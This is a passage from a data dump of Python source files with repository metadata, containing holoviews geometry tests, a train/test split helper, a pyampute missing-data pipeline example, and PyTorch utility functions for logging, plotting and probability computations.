self.assertEqual(len(paths), len(holes))\n        self.assertEqual(len(holes), 2)\n        self.assertEqual(len(holes[0]), 2)\n        self.assertEqual(len(holes[0][0]), 2)\n        self.assertEqual(len(holes[0][1]), 0)\n        self.assertEqual(len(holes[1]), 1)\n        self.assertEqual(len(holes[1][0]), 0)\n\n    def test_single_poly_hole_validation(self):\n        xs = [1, 2, 3]\n        ys = [2, 0, 7]\n        with self.assertRaises(DataError):\n            Polygons([{'x': xs, 'y': ys, 'holes': [[], []]}])\n\n    def test_multi_poly_hole_validation(self):\n        xs = [1, 2, 3, np.nan, 6, 7, 3]\n        ys = [2, 0, 7, np.nan, 7, 5, 2]\n        with self.assertRaises(DataError):\n            Polygons([{'x': xs, 'y': ys, 'holes': [[]]}])\n\n\nclass EllipseTests(ComparisonTestCase):\n\n    def setUp(self):\n        self.pentagon = np.array([[  0.00000000e+00,   5.00000000e-01],\n                                  [  4.75528258e-01,   1.54508497e-01],\n                                  [  2.93892626e-01,  -4.04508497e-01],\n                                  [ -2.93892626e-01,  -4.04508497e-01],\n                                  [ -4.75528258e-01,   1.54508497e-01],\n                                  [ -1.22464680e-16,   5.00000000e-01]])\n\n        self.squashed = np.array([[  0.00000000e+00,   1.00000000e+00],\n                                  [  4.75528258e-01,   3.09016994e-01],\n                                  [  2.93892626e-01,  -8.09016994e-01],\n                                  [ -2.93892626e-01,  -8.09016994e-01],\n                                  [ -4.75528258e-01,   3.09016994e-01],\n                                  [ -1.22464680e-16,   1.00000000e+00]])\n\n\n    def test_ellipse_simple_constructor(self):\n        ellipse = Ellipse(0,0,1, samples=100)\n        self.assertEqual(len(ellipse.data[0]), 100)\n\n    def test_ellipse_simple_constructor_pentagon(self):\n        ellipse = Ellipse(0,0,1, samples=6)\n        self.assertEqual(np.allclose(ellipse.data[0], self.pentagon), True)\n\n    def test_ellipse_tuple_constructor_squashed(self):\n        ellipse = Ellipse(0,0,(1,2), samples=6)\n        self.assertEqual(np.allclose(ellipse.data[0], self.squashed), True)\n\n    def test_ellipse_simple_constructor_squashed_aspect(self):\n        ellipse = Ellipse(0,0,2, aspect=0.5, samples=6)\n        self.assertEqual(np.allclose(ellipse.data[0], self.squashed), True)\n\n\nclass BoxTests(ComparisonTestCase):\n\n    def setUp(self):\n        self.rotated_square = np.array([[-0.27059805, -0.65328148],\n                                        [-0.65328148,  0.27059805],\n                                        [ 0.27059805,  0.65328148],\n                                        [ 0.65328148, -0.27059805],\n                                        [-0.27059805, -0.65328148]])\n\n        self.rotated_rect = np.array([[-0.73253782, -0.8446232 ],\n                                      [-1.11522125,  0.07925633],\n                                      [ 0.73253782,  0.8446232 ],\n                                      [ 1.11522125, -0.07925633],\n                                      [-0.73253782, -0.8446232 ]])\n\n    def test_box_simple_constructor_rotated(self):\n        box = Box(0,0,1, orientation=np.pi/8)\n        self.assertEqual(np.allclose(box.data[0], self.rotated_square), True)\n\n\n    def test_box_tuple_constructor_rotated(self):\n        box = Box(0,0,(2,1), orientation=np.pi/8)\n        self.assertEqual(np.allclose(box.data[0], self.rotated_rect), True)\n\n    def test_box_aspect_constructor_rotated(self):\n        box = Box(0,0,1, aspect=2, orientation=np.pi/8)\n        self.assertEqual(np.allclose(box.data[0], self.rotated_rect), True)\n", "meta": {"hexsha": "48340ccfd3edfa2a4d32573e43a4e16c1e7e14e5", "size": 9762, "ext": "py", "lang": "Python", "max_stars_repo_path": "holoviews/tests/element/testpaths.py", "max_stars_repo_name": "ea42gh/holoviews", "max_stars_repo_head_hexsha": "3ad83875644dcac7ed85661d6f224acc31504575", "max_stars_repo_licenses": ["BSD-3-Clause"], "max_stars_count": 1, "max_stars_repo_stars_event_min_datetime": "2021-04-28T12:52:11.000Z", "max_stars_repo_stars_event_max_datetime": "2021-04-28T12:52:11.000Z", "max_issues_repo_path": "holoviews/tests/element/testpaths.py", "max_issues_repo_name": "ea42gh/holoviews", "max_issues_repo_head_hexsha": "3ad83875644dcac7ed85661d6f224acc31504575", "max_issues_repo_licenses": ["BSD-3-Clause"], "max_issues_count": 1, "max_issues_repo_issues_event_min_datetime": "2021-04-17T15:31:36.000Z", "max_issues_repo_issues_event_max_datetime": "2021-04-17T15:31:36.000Z", "max_forks_repo_path": "holoviews/tests/element/testpaths.py", "max_forks_repo_name": "ea42gh/holoviews", "max_forks_repo_head_hexsha": "3ad83875644dcac7ed85661d6f224acc31504575", "max_forks_repo_licenses": ["BSD-3-Clause"], "max_forks_count": 1, "max_forks_repo_forks_event_min_datetime": "2018-11-22T18:45:51.000Z", "max_forks_repo_forks_event_max_datetime": "2018-11-22T18:45:51.000Z", "avg_line_length": 42.6288209607, "max_line_length": 94, "alphanum_fraction": 0.5549067814, "include": true, "reason": "import numpy", "num_tokens": 2894, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. NO\n2. NO", "lm_q1_score": 0.4960938294709195, "lm_q2_score": 0.1008786267847576, "lm_q1q2_score": 0.05004526427341807}}
{"text": "# AUTOGENERATED! DO NOT EDIT! File to edit: notebooks/custering_and_neighbours.ipynb (unless otherwise specified).\n\n__all__ = []\n\n# Cell\nfrom nbdev.showdoc import *\nimport jovsatools\nimport fastcore\nfrom sklearn.datasets import make_blobs\nimport numpy as np\nimport matplotlib.pyplot as plt\nfrom sklearn.cluster import KMeans\nfrom collections import defaultdict", "meta": {"hexsha": "f9ada978eccbbf5f70697b8c0b58a2c861cc7f3b", "size": 360, "ext": "py", "lang": "Python", "max_stars_repo_path": "jovsatools/custering_and_neighbours.py", "max_stars_repo_name": "jovsa/jovsatools", "max_stars_repo_head_hexsha": "52e7f6737376b62bbeba41dba8b54167661412a2", "max_stars_repo_licenses": ["Apache-2.0"], "max_stars_count": 2, "max_stars_repo_stars_event_min_datetime": "2020-06-06T22:46:58.000Z", "max_stars_repo_stars_event_max_datetime": "2020-07-09T22:00:38.000Z", "max_issues_repo_path": "jovsatools/custering_and_neighbours.py", "max_issues_repo_name": "jovsa/jsmltools", "max_issues_repo_head_hexsha": "52e7f6737376b62bbeba41dba8b54167661412a2", "max_issues_repo_licenses": ["Apache-2.0"], "max_issues_count": 1, "max_issues_repo_issues_event_min_datetime": "2020-09-16T19:13:22.000Z", "max_issues_repo_issues_event_max_datetime": "2020-09-16T19:13:22.000Z", "max_forks_repo_path": "jovsatools/custering_and_neighbours.py", "max_forks_repo_name": "jovsa/jsmltools", "max_forks_repo_head_hexsha": "52e7f6737376b62bbeba41dba8b54167661412a2", "max_forks_repo_licenses": ["Apache-2.0"], "max_forks_count": null, "max_forks_repo_forks_event_min_datetime": null, "max_forks_repo_forks_event_max_datetime": null, "avg_line_length": 27.6923076923, "max_line_length": 114, "alphanum_fraction": 0.8222222222, "include": true, "reason": "import numpy", "num_tokens": 81, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. NO\n2. NO", "lm_q1_score": 0.4960938294709195, "lm_q2_score": 0.10087861529643825, "lm_q1q2_score": 0.05004525857413373}}
{"text": "import numpy as np\n\n\ndef train_test_split(\n        X: np.ndarray,\n        y: np.ndarray,\n        train_size: float = 0.8\n):\n    \"\"\"Split dataset into training and test.\n\n    :param X: training data.\n    :param y: labels.\n    :param train_size: Float, should be between 0.0 and 1.0 and\n        represent the proportion of the dataset to include in the\n        train split. The rest proportion will be considered as test.\n    \"\"\"\n    indices = np.random.permutation(X.shape[0])\n    num_train_samples = int(train_size * len(indices))\n    indices_train = indices[: num_train_samples]\n    indices_test = indices[num_train_samples:]\n    return (X[indices_train, :], y[indices_train, :]), (\n        X[indices_test, :], y[indices_test, :])\n", "meta": {"hexsha": "04c21cf93c6da904908ada88f9e6f24cd888f9bf", "size": 732, "ext": "py", "lang": "Python", "max_stars_repo_path": "sara/utils/data_utils.py", "max_stars_repo_name": "bwanglzu/ADLHub", "max_stars_repo_head_hexsha": "3663191d8219546693b881dc1aaecae3033321d2", "max_stars_repo_licenses": ["MIT"], "max_stars_count": 1, "max_stars_repo_stars_event_min_datetime": "2020-12-07T16:34:53.000Z", "max_stars_repo_stars_event_max_datetime": "2020-12-07T16:34:53.000Z", "max_issues_repo_path": "sara/utils/data_utils.py", "max_issues_repo_name": "bwanglzu/ADLHub", "max_issues_repo_head_hexsha": "3663191d8219546693b881dc1aaecae3033321d2", "max_issues_repo_licenses": ["MIT"], "max_issues_count": null, "max_issues_repo_issues_event_min_datetime": null, "max_issues_repo_issues_event_max_datetime": null, "max_forks_repo_path": "sara/utils/data_utils.py", "max_forks_repo_name": "bwanglzu/ADLHub", "max_forks_repo_head_hexsha": "3663191d8219546693b881dc1aaecae3033321d2", "max_forks_repo_licenses": ["MIT"], "max_forks_count": null, "max_forks_repo_forks_event_min_datetime": null, "max_forks_repo_forks_event_max_datetime": null, "avg_line_length": 31.8260869565, "max_line_length": 68, "alphanum_fraction": 0.6557377049, "include": true, "reason": "import numpy", "num_tokens": 181, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. NO\n2. NO", "lm_q1_score": 0.4960938294709195, "lm_q2_score": 0.10087861529643824, "lm_q1q2_score": 0.05004525857413372}}
{"text": "\"\"\"\n=========================================\nA custom pipeline with more possibilities\n=========================================\n\nEarlier, we demonstrated how :class:`~pyampute.ampute.MultivariateAmputation` can be integrated in a scikit-learn pipeline (see `A quick example`_ and `Evaluating missing values with grid search and a pipeline`_).\n\nIt may be valuable to understand the impact of missing values in more detail. Therefore, we demonstrate how a ``CustomTransformer`` and ``CustomEstimator`` can be used to do a more thorough analysis. Not only will such analysis gain insights in the statistical problems of missing data (and some imputation methods), but it will also help you to create real-world and realistic missingness scenarios.\n\nAnother example, of a more systematic approach, can be found in `Schouten and Vink (2021)`_.\n\n.. _`A quick example`: https://rianneschouten.github.io/pyampute/build/html/auto_examples/plot_easy_example.html\n.. _`Evaluating missing values with grid search and a pipeline`: https://rianneschouten.github.io/pyampute/build/html/auto_examples/plot_simulation_pipeline.html\n.. _`Schouten and Vink (2021)`: https://journals.sagepub.com/doi/full/10.1177/0049124118799376\n\n\"\"\"\n\n# Author: Rianne Schouten <https://rianneschouten.github.io/>\n\n# %%\n# Recap\n#######\n#\n# Given is the following setting (from `Evaluating missing values with grid search and a pipeline`_):\n#\n# .. _`Evaluating missing values with grid search and a pipeline`: https://rianneschouten.github.io/pyampute/build/html/auto_examples/plot_simulation_pipeline.html\n\nimport numpy as np\n\nm = 5\nn = 10000\n\nmean = np.repeat(5, m)\ncor = 0.5\ncov = np.identity(m)\ncov[cov == 0] = cor\ncompl_dataset = np.random.multivariate_normal(mean, cov, n)\n\n# %%\n# As amputation parameter settings, we will vary the proportion, the mechanism and the ``score_to_probability_func``. Since in  the latter have to be specified within the same dictionary, we define the parameters for the grid search as follows.\n#\n\nimport itertools as it\n\nmechs = [\"MCAR\", \"MAR\", \"MNAR\"]\nfuncs = [\"sigmoid-right\", \"sigmoid-mid\"]\n\nparameters = {\n    \"amputation__prop\": [0.1, 0.5, 0.9],\n    \"amputation__patterns\": [\n        [{\"incomplete_vars\": [0,1], \"mechanism\": mechanism, \"score_to_probability_func\": func}]\n        for mechanism, func in list(it.product(mechs, funcs))]\n}\n\n# %%\n# A transformer that drops incomplete rows\n##########################################\n#\n# Previously, we evaluated the ``SimpleImputer`` class from scikit-learn. Another good way to evaluate the effect of missing values, is by analyzing the incomplete dataset directly. Since most prediction and analysis models do not accept missing values, we apply the `dropna` or `listwise deletion` or `complete case analysis` method (all names refer to the same strategy). To allow for integration in a pipeline, we set up a custom ``TransformerMixin``.\n#\n\nfrom sklearn.base import TransformerMixin\n\nclass DropTransformer(TransformerMixin):\n\n    def __init__(self):\n        super().__init__()\n\n    def fit(self, X, y=None):\n        self.X = X\n        \n        return self\n\n    def transform(self, X, y=None):\n\n        # drop incomplete rows\n        Xp = pd.DataFrame(X)\n        Xdrop = Xp.dropna().to_numpy()\n\t\t\n        return Xdrop\n\n# %%\n# A custom estimator\n####################\n#\n# Almost all, if not all, estimators and evaluation metrics in scikit-learn are aimed at prediction or classification. That is what most people want to do.\n#\n# However, for evaluating the effect of missing values on your model, it may be good to look further than just the prediction or classification accuracy. In this example, we will focus on the center of the distribution of one feature and evaluate the bias in that distribution.\n#\n# That could work as follows.\n#\n\nfrom sklearn.base import BaseEstimator \n\nclass CustomEstimator(BaseEstimator):\n\n    def __init__(self):\n        super().__init__()\n\n    def fit(self, X, y=None):\n        self.X = X\n        \n        return self\n\n    def predict(self, X):\n\n        # return values of first feature\n        values_used_for_score = X[:,0]\n\t\t\n        return values_used_for_score\n\ndef my_evaluation_metric(y_true, y_pred):\n\n    m1 = np.mean(y_true)\n    m2 = np.mean(y_pred)\n\n    bias = np.abs(m1 - m2)\n\n    return bias\n\n# %%\n# An evaluation pipeline\n########################\n#\n# As can be seen, the ``predict`` function returns the first feature of the transformed dataset. The evaluation metric then calculated the mean difference between that feature, and the truth.\n#\n# In our experiment, the complete dataset is the ground truth and we evaluate the impact of several missing data models (and imputation models) on that truth. \n#\n# We then run the pipeline twice.\n#\n\nimport pandas as pd\nfrom sklearn.pipeline import Pipeline\nfrom sklearn.model_selection import GridSearchCV\nfrom sklearn.impute import SimpleImputer\nfrom pyampute.ampute import MultivariateAmputation\nfrom sklearn.metrics import make_scorer\n\n# %%\n# Once with the DropTransformer\n\nsteps = [('amputation', MultivariateAmputation()), ('imputation', DropTransformer()), ('estimator', CustomEstimator())]\npipe = Pipeline(steps)\ngrid = GridSearchCV(\n    estimator=pipe,\n    param_grid=parameters,\n    scoring=make_scorer(my_evaluation_metric),\n)\n\ngrid.fit(compl_dataset, np.zeros(len(compl_dataset)))\ngrid.score(compl_dataset, compl_dataset[:,0])\nresults_drop = pd.DataFrame(grid.cv_results_)\n\n# %%\n# Once with the SimpleImputer\n\nsteps = [('amputation', MultivariateAmputation()), ('imputation', SimpleImputer()), ('estimator', CustomEstimator())]\npipe = Pipeline(steps)\ngrid = GridSearchCV(\n    estimator=pipe,\n    param_grid=parameters,\n    scoring=make_scorer(my_evaluation_metric),\n)\n\ngrid.fit(compl_dataset, np.zeros(len(compl_dataset)))\ngrid.score(compl_dataset, compl_dataset[:,0])\nresults_mean = pd.DataFrame(grid.cv_results_)\n\n# %%\n# Comparison\n############\n#\n\nres_drop = results_drop[['param_amputation__patterns', 'param_amputation__prop', 'mean_test_score']]\nres_mean = results_mean[['param_amputation__patterns', 'param_amputation__prop', 'mean_test_score']]\n\nres_drop.columns = ['mechanism, func', 'prop', 'score']\nres_mean.columns = ['mechanism, func', 'prop', 'score']\n\nres_drop\n\n# %%\n\nres_mean\n\n# %%\n#\n# What you find here, is that a MCAR mechanism will not affect the center of the distribution of the first feature much, independent of the proportion of incomplete rows. \n# \n# A MAR mechanism with a sigmoid-right probability function will, on average, remove the right-hand side of the distribution (also, because there is a positive correlation between the observed data and the first feature). Therefore, the larger the proportion, the more bias. However, with a sigmoid-mid probability function, values in the center of the distribution of the first feature are removed, and there is therefore not much effect on the bias. \n#\n# The same logic applies to MNAR missingness, but since MNAR missingness does not depend on the size of the correlation between observed data and incomplete data, the bias will be stronger.\n#\n# `Schouten and Vink (2021)`_ further discuss this topic and the effect of multiple imputation (which can be performed using scikit-learn's IterativeImputer).\n#\n# SimpleImputer will use the mean of the observed data in the first feature. Therefore, in case there is any bias, that bias will remain. In case there is no bias, mean imputation will distort the correlation structure with other features. But that is another story...\n#\n# .. _`Schouten and Vink (2021)`: https://journals.sagepub.com/doi/full/10.1177/0049124118799376\n\n", "meta": {"hexsha": "d37279191b822e778ef2f305ef77aa135aa69829", "size": 7603, "ext": "py", "lang": "Python", "max_stars_repo_path": "docs/build/html/_downloads/c970eafe109229d0e12c897814f9eaed/plot_custom_pipeline.py", "max_stars_repo_name": "RianneSchouten/pyampute", "max_stars_repo_head_hexsha": "98de0d5591546f958b0106217f60df92dc00fbb9", "max_stars_repo_licenses": ["BSD-3-Clause"], "max_stars_count": 3, "max_stars_repo_stars_event_min_datetime": "2022-02-14T02:02:23.000Z", "max_stars_repo_stars_event_max_datetime": "2022-02-20T09:52:41.000Z", "max_issues_repo_path": "examples/plot_custom_pipeline.py", "max_issues_repo_name": "flacle/pyampute", "max_issues_repo_head_hexsha": "8785f62c52a762dfc3113abe3610ba4893ef5f4b", "max_issues_repo_licenses": ["BSD-3-Clause"], "max_issues_count": 24, "max_issues_repo_issues_event_min_datetime": "2022-01-26T15:42:13.000Z", "max_issues_repo_issues_event_max_datetime": "2022-03-12T15:49:56.000Z", "max_forks_repo_path": "examples/plot_custom_pipeline.py", "max_forks_repo_name": "flacle/pyampute", "max_forks_repo_head_hexsha": "8785f62c52a762dfc3113abe3610ba4893ef5f4b", "max_forks_repo_licenses": ["BSD-3-Clause"], "max_forks_count": 1, "max_forks_repo_forks_event_min_datetime": "2022-02-15T19:15:42.000Z", "max_forks_repo_forks_event_max_datetime": "2022-02-15T19:15:42.000Z", "avg_line_length": 38.015, "max_line_length": 454, "alphanum_fraction": 0.7276075233, "include": true, "reason": "import numpy", "num_tokens": 1767, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. NO\n2. NO", "lm_q1_score": 0.4687906266262437, "lm_q2_score": 0.1066906024668249, "lm_q1q2_score": 0.05001555438555431}}
{"text": "\"\"\" \nPython 3.6 \nPyTorch 0.4\n\"\"\"\n\nimport os\nimport logging\nimport math\nfrom configparser import ConfigParser\nimport functools, itertools\n\nimport numpy as np\nimport matplotlib.pyplot as plt\nimport pandas as pd\nimport imageio\nfrom tqdm import tqdm_notebook\n\nimport torch\nimport torchvision\nimport torch.nn as nn\nimport torch.nn.functional as F\nimport tensorboardX\n\n  \ndef print_line(num = 1):\n    for _ in range(num):\n        logging.debug('================================')\n\n\ndef set_logging(level = logging.INFO):\n    \"\"\"\n    set logging level and format.\n    \"\"\"\n    logging.basicConfig(level = level, filename = '', format='%(asctime)s %(message)s', datefmt='%m/%d/%Y %I:%M:%S %p')\n\n\ndef read_config(dataset):\n    \"\"\"\n    Read from the config file to get the parameters.\n    \"\"\"\n    from Models.AbstractModel import Models\n    dataset = dataset.lower()\n    assert dataset in Models.keys()\n    config = ConfigParser()\n    config.read('configuration.ini')\n    \n    toreturn = {'dataset':dataset}\n    for key, val in dict(config[dataset]).items():\n        try:\n            toreturn[key] = int(val)\n        except:\n            toreturn[key] = val\n\n    logging.critical(f'I will train for {toreturn[\"epoch\"]} epochs!')\n    return toreturn\n\n\ndef long_tensor_to_onehot(idx, max_idx):\n    \"\"\" from a one-dimension LongTensor to get the onehot vector. \n    >>> long_tensor_to_onehot(torch.LongTensor([1,0,2]), 3)\n    tensor([[ 0,  1,  0],\n            [ 1,  0,  0],\n            [ 0,  0,  1]])\n    \"\"\"\n    return torch.zeros(idx.size()[0], max_idx).scatter_(1, idx.view(-1,1), 1).long()\n\n\ndef gen_random_labels(num_instance, max_idx):\n    \"\"\" get random labels in randomrange(max_idx)\n    >>> labels = gen_random_labels(10, 3)\n    \"\"\"\n    return torch.multinomial(torch.ones(max_idx), num_instance, replacement = True)\n    \n\ndef network_num_parameters(net):\n    \"\"\"\n    Compute the number of parameters\n    \"\"\"\n    num_params = 0\n    for param in net.parameters():\n        num_params += param.numel()\n    logging.debug(f'Total number of parameters: {num_params}')\n    return num_params\n\n    \ndef to_np(x):\n    \"\"\" transform a given tensor to numpy array\n    >>> to_np(torch.ones(3,2))\n    array([[1., 1.],\n           [1., 1.],\n           [1., 1.]], dtype=float32)\n    \"\"\"\n    if not torch.is_tensor(x):\n        raise TypeError('We need tensor here.')\n        \n    return x.to( torch.device('cpu') ).numpy() \n\n \n    \ndef cov(x):\n    \"\"\" calculate covariance matrix of rows \n    >>> a = torch.arange(18).view(3,6)\n    >>> cov(a)\n    tensor([[ 3.5000,  3.5000,  3.5000],\n            [ 3.5000,  3.5000,  3.5000],\n            [ 3.5000,  3.5000,  3.5000]])\n    >>> t = torch.FloatTensor([[1,2,6],[2,4,0],[5,2,3],[9,5,1]])\n    >>> cov(t)\n    tensor([[  7.0000,  -4.0000,  -1.5000, -10.0000],\n            [ -4.0000,   4.0000,  -1.0000,   4.0000],\n            [ -1.5000,  -1.0000,   2.3333,   4.0000],\n            [-10.0000,   4.0000,   4.0000,  16.0000]])\n\n    \"\"\"\n    mean_x = torch.mean(x, 1, keepdim = True)\n    xm = x.sub(mean_x.expand_as(x))\n    c = xm.mm(xm.t())\n    c = c / (x.size(1) - 1)\n    return c\n\n\ndef addGuassianNoise(x, sigma = 0.1):\n    \"\"\" Add small Gaussian noise to input x \n    >>> tmp = addGuassianNoise(torch.ones(12,13), sigma = 1)\n    \"\"\"\n    if not torch.is_tensor(x):\n        raise TypeError('We need tensor here.')\n\n    to_add = torch.randn(x.size()) * sigma\n\n    return x + to_add\n\n\ndef check_nan(dict_):\n    \"\"\"\n    Check nan for a dict.\n    >>> dict_ = {'a': 0, 'b': 1, 'c': 0, 'd': 10}\n    >>> check_nan(dict_)\n    True\n    >>> from math import nan\n    >>> check_nan({'a': 0, 'b': nan, 'c': 0, 'd': nan}) \n    ArithmeticError: We find the loss(es) [b, d] nan in PairwiseDis.\n    \"\"\"\n    # check nan\n    flag_nan = [ key for key, loss in dict_.items() if math.isnan(loss) ]\n    if len(flag_nan) > 0:\n        str_keys_nan = ', '.join(flag_nan)\n        raise ArithmeticError(f'We find the loss(es) [{str_keys_nan}] nan.')\n    return True\n\n\ndef pair_iters(iterable):\n    \"s -> (s0,s1), (s1,s2), (s2, s3), ...\"\n    a, b = itertools.tee(iterable)\n    next(b, None)\n    return zip(a, b)\n    \n    \n# ================================ Visualization part ================================\n\ndef show_image(x, nrow = 0):\n    \"\"\" Show the images (in tensors) in a grid where number of row specified nrow\n    >>> import torch; show_image(torch.rand(25, 3, 32, 32), nrow = 5)\n    \"\"\"\n    if nrow == 0:\n        nrow = max( int(np.sqrt(len(x))), 6 )\n\n    x.detach_()\n    x = x.cpu()\n\n    x = torchvision.utils.make_grid(x, nrow=nrow, normalize=True, range=(-1,1), padding=4 ).float()\n#     x = torchvision.utils.make_grid(x, nrow = nrow, padding = 4, scale_each=True, normalize = True) \n    x = to_np(x)\n    \n    if len(x.shape) == 4:\n        x = x.transpose(0,2,3,1)\n    elif len(x.shape) == 3:\n        x = x.transpose(1,2,0)\n    \n    f, ax = plt.subplots(figsize=(12, 9), dpi=300)\n    plt.imshow(x)\n    plt.show()\n\n\ndef generate_animation(imgs, save_path, name=None):\n    \"\"\"\n    Generate a gif animation of given imgs.\n    >>> import torch; generate_animation([torch.randn(3, 32, 32) for _ in range(10) ], 'save_dir/unittest')\n    \"\"\"\n    if torch.is_tensor(imgs):\n        imgs.requires_grad_(False)\n    \n    normalize = functools.partial( torchvision.utils.make_grid, nrow=6, normalize=True, range=(-1,1), padding=4 )\n    images = [ to_np(normalize(img)*255).astype(np.uint8).transpose(1, 2, 0) for img in imgs  ]\n    \n    if name is None:\n        name = 'generated_animation'\n    imageio.mimsave( os.path.join(save_path, f'{name}.gif'), images, fps = 40)\n    \n\n\ndef exp_encoded_range_visual(sample, models, code_dim_varying, inverse = [False]*5, num_ = 6, filename = 'imgs/tmp.png'):\n    \"\"\"\n    Generate a sequence of samples by varying the encoded code given a sample\n    >>> from Dataset import random_samples\n    >>> sample = random_samples('mnist')\n    >>> from Models.Beta_VAE import Beta_VAE; models = [Beta_VAE(1 , dataset = 'mnist', hidden_dim = 10, gpu_mode = False)]\n    >>> code_dim_varying = [0,5,7]\n    >>> out = exp_encoded_range_visual(sample, models, code_dim_varying, [False], 3, 'save_dir/unittest/exp_encoded_range_visual.png')\n    >>> out.type()\n    'torch.FloatTensor'\n    \"\"\"\n    \n    assert len(sample) == 1\n    samples_batch = []\n\n    with torch.no_grad():\n        \n        for i0, (model, code) in tqdm_notebook(enumerate(zip(models, code_dim_varying)), 'exp_encoded_range_visual'):\n            if 'infogan' in model.model_name.lower():\n                continue\n#             print(model.model_name, code)\n            \n            samples = model.latent_traversal_given_samples_dim(sample, code, num_range=6)\n            if inverse[i0]:\n                samples = samples[::-1]\n            samples_this_batch = torch.cat(samples, 0)\n            samples_batch.append(samples_this_batch)\n    \n    samples = torch.cat(samples_batch, 0)\n    show_image(samples, nrow = num_ )\n    \n    tmp = [ torchvision.utils.make_grid(s, nrow = num_, padding = 4, normalize=True, range=(-1,1), pad_value=1 ).unsqueeze(0) for s in samples_batch ]\n    samples = torch.cat(tmp, 0)\n    torchvision.utils.save_image(samples, filename = filename, nrow = 1, padding=2, pad_value=1)\n    logging.info('Files saved! ' + filename)\n    \n    return samples\n    \n    \n# ================================ Recording part ================================\n\n\ndef updateDataFrame(index, in_dict, label):\n    '''\n    Save the dict info in the csv file specified by label, return the DataFrame\n    >>> updateDataFrame('label', {'s':2, 't':8}, 'doctest')\n           s  t\n    label  2  8\n    '''\n    \n    # save path\n    save_path = 'PD_DF'\n    csv_file = os.path.join(save_path, f'{label}.csv')\n    # load the existing dataframe\n    df = loadDataFrame(label)\n    # make the dataframe\n    new_entry = pd.DataFrame.from_dict({index:in_dict}, orient = 'index')\n\n    # if not dataframe exists\n    if df is None:\n        df = new_entry\n        # if an old entry is in the dataframe\n    else:\n        if index in df.index:            \n            df.loc[index] = new_entry.loc[index]\n        else:\n            # this is a new entry\n            df = df.append(new_entry, verify_integrity=True, sort=False)\n\n    # save it\n    df.to_csv(csv_file, header='dataframe')\n    \n    return df\n\n\ndef loadDataFrame(label):\n    '''\n    Load the dataframe from csv specified by the label\n    >>> loadDataFrame('doctest')\n           s  t\n    label  2  8\n    >>> loadDataFrame('some_label_no_exist')\n    Target filed not found.\n    '''\n    # save path\n    save_path = 'PD_DF'\n    csv_file = os.path.join(save_path, f'{label}.csv')\n    # load it\n    try:\n        df = pd.read_csv(csv_file, index_col=0)\n        return df\n    except Exception as e:\n        print('Target filed not found.')\n        return None\n\n\n# ================================ Dist and distributions part ================================\n\n\ndef pdist(A, B, sqrt=True):\n    \"\"\" Pairwise Euclidean distance\n    >>> import torch; A = torch.randn(2,4); B = torch.randn(15,4); pdist(A, B).size()\n    torch.Size([2, 15])\n    \"\"\"\n    A_squared = A.pow(2).sum(1).unsqueeze(1)\n    B_squared = B.pow(2).sum(1).unsqueeze(0)\n    AB = torch.mm(A, B.t()) # A @ B.t()\n    A_B_squared = A_squared + B_squared - 2 * AB\n    A_B_squared.clamp_(min=1e-16) # min=0 will cause Nan grad\n    return torch.sqrt( A_B_squared ) if sqrt else A_B_squared\n\n\ndef log_prob_standard_normal(x):\n    \"\"\" The log probability of x in the standard normal distribution.\n        asser x.dim in {1,2}\n        >>> import torch;from torch.distributions.multivariate_normal import MultivariateNormal\n        >>> normal_prior = MultivariateNormal(torch.zeros(5), torch.eye(5) )\n        >>> x = torch.randn(15, 5) * 2 + 4\n        >>> (log_prob_standard_normal(x) - normal_prior.log_prob(x)).norm(p=1).item() < 1e-8\n        True\n        \n        # Another implementation\n        device = x.device\n        dim = x.size()[1]\n        normal_prior = MultivariateNormal(torch.zeros(dim, device=device), \\\n                                          torch.eye(dim, device=device) )\n        # probability of p(x)\n        log_prob_p = normal_prior.log_prob(x) # B\n        \n    \"\"\"\n    if x.dim() == 1: x.unsqueeze_(1)\n    dim = x.size()[1]\n    d_log_2pi = dim * math.log(2 * math.pi)\n    return - 0.5 * ( x.pow(2).sum(1) + d_log_2pi )\n    \n\ndef log_prob_of_multiple_dist(mu, log_var, x):\n    \"\"\" Compute the log probabilty of x subject to distributions define by mu and log_var\n    Args:\n    mu     - N * d\n    logvar - N * d\n    x      - B * d\n\n    -0.5 * \\|x-mu\\|^2 / log_var.exp() - 0.5 * log_var.sum() - 0.5 * log(2*pi) * d\n    \n    return B * N\n\n    >>> import torch; from torch.distributions import Normal\n    >>> n = Normal(torch.zeros(1), torch.ones(1))\n    >>> x = torch.randn(1) * 5 + 4\n    >>> pred = log_prob_of_multiple_dist(torch.zeros(1), torch.zeros(1), x)\n    >>> (pred - n.log_prob(x) ).abs().item() < 1e-8\n    True\n    \"\"\"\n\n    r\"\"\"\n    This is the simple implementation. Out implementation is 20x faster on CPU and 1000x faster on GPU.\n\n    def t(mu, log_var, x):\n        tmp = []\n        for mu_, log_var_ in zip(mu, log_var):\n            mn = MultivariateNormal(mu_, torch.diag( log_var_.exp() ))\n            ground_truth = mn.log_prob(x) # B \n            tmp.append(ground_truth)\n\n        # B * N\n        out = torch.stack(tmp, dim = 1) \n    \"\"\"\n    \n    if mu.dim()==1: mu.unsqueeze_(1)\n    if log_var.dim()==1: log_var.unsqueeze_(1)\n    if x.dim()==1: x.unsqueeze_(1)\n    \n    dim = mu.size()[1]\n\n#         # N * d, mu^2\n#         mu.pow(2) \n#         # N * d, mu^2 ./ var\n#         mu.pow(2).div( log_var.exp() )\n#         # N * 1, \\sum_i mu_i^2/var_i\n#         mu.pow(2).div( log_var.exp() ).sum(1).unsqueeze(1)\n\n#         # B * d, x^2\n#         x.pow(2) \n#         # 1 * B * d, x^2\n#         x.pow(2).unsqueeze(0)\n#         # N * 1 * d, var\n#         var = log_var.exp().unsqueeze(1)\n#         # N * B * d, x^2 ./ var\n#         x.pow(2).unsqueeze(0).div( var )\n#         # N * B, \\sum_i x_i^2/var_i\n#         x.pow(2).unsqueeze(0).div( var ).sum(2)\n\n#         # N * B, \\sum_i mu_i*x_i/var_i\n#         torch.mm(mu.div(log_var.exp), B.t())\n\n    # N * d\n    var = log_var.exp() + 1e-8\n    \n    mu_div_var_squared = mu.pow(2).div( var ).sum(1).unsqueeze(1) # N * 1\n    x_div_var_squared  = x.pow(2).unsqueeze(0).div( var.unsqueeze(1) ).sum(2) # N * B\n    mu_x_div_var_squared = torch.mm(mu.div( var ), x.t()) # N * B\n\n    # N * B\n    mu_x_var_dist = mu_div_var_squared + x_div_var_squared - 2 * mu_x_div_var_squared\n    